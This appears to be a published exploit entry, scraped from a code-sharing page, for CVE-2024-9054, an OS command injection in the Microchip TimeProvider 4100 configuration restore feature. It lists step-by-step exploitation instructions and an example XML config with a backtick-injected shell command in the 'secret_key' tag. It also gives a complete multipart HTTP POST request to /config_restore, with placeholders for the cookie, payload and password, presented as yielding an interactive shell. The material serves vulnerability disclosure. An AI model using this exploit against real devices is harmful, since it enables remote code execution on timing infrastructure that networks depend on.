扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 |
# Exploit Title: Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection # Exploit Author: Armando Huesca Prida # Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli # Date of Disclosure: 27/06/2024 # Date of CVE Publication: 4/10/2024 # Exploit Publication: 10/10/2024 # Vendor Homepage: https://www.microchip.com/ # Version: Firmware release 1.0 through 2.4.7 # Tested on: Firmware release 2.3.12 # CVE: CVE-2024-9054 # External References: # URL: https://www.cve.org/cverecord?id=CVE-2024-9054 # URL: https://0xhuesca.com/2024/10/cve-2024-9054.html # URL: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-rce-through-configuration-file # URL: https://www.gruppotim.it/it/footer/red-team.html # Vulnerability Description: A Remote Code Execution (RCE) vulnerability exists in the "secret_key" XML tag in the Microchip TimeProvider 4100 device's configuration file. Once the configuration file containing the malicious payload is loaded by the device, after first attempt of login the payload will execute resulting in remote code execution. # Exploitation Steps: 1- Perform login into the device's management web interface. 2- Download the device's configuration file. 3- Substitute the "secret_key" value with the malicious payload. 4- Save the new configuration file containing the OS command to be executed. 5- Restore and submit the new configuration. 6- Attempt of login using any active service like SSH/Telnet/Console will trigger the malicious payload. # Example of malicious XML config file: <?xml version="1.0"?> [...] <security> [...] <server> <ip>192.168.1.1</ip> <secret_key>`ping 192.168.1.20`</secret_key> [...] </server> [...] </security> [...] # Proof of Concept - PoC: Manually modifying the following request it's possible to obtain interactive shell on the vulnerable device. Below is provided the list of values to be updated on the Exploit - HTTP request: - [session cookie] - [XML configuration file containing the injection on "secret_key" tag] - [Web account password in clear-text] - [device IP] # Exploit - Restore and submit config file HTTP Request: POST /config_restore HTTP/1.1 Host: [device IP] Cookie: ci_session=[session cookie] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------182708909322642582691204887002 Content-Length: 206640 Origin: https://[device IP] Referer: https://[device IP]/configbackuprestore Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: keep-alive -----------------------------182708909322642582691204887002 Content-Disposition: form-data; name="file"; filename="tp4100_cfg.txt" Content-Type: text/plain [XML configuration file containing the injection on "secret_key" tag] -----------------------------182708909322642582691204887002 Content-Disposition: form-data; name="pword" [Web account password in clear-text] -----------------------------182708909322642582691204887002-- # End |
体验盒子
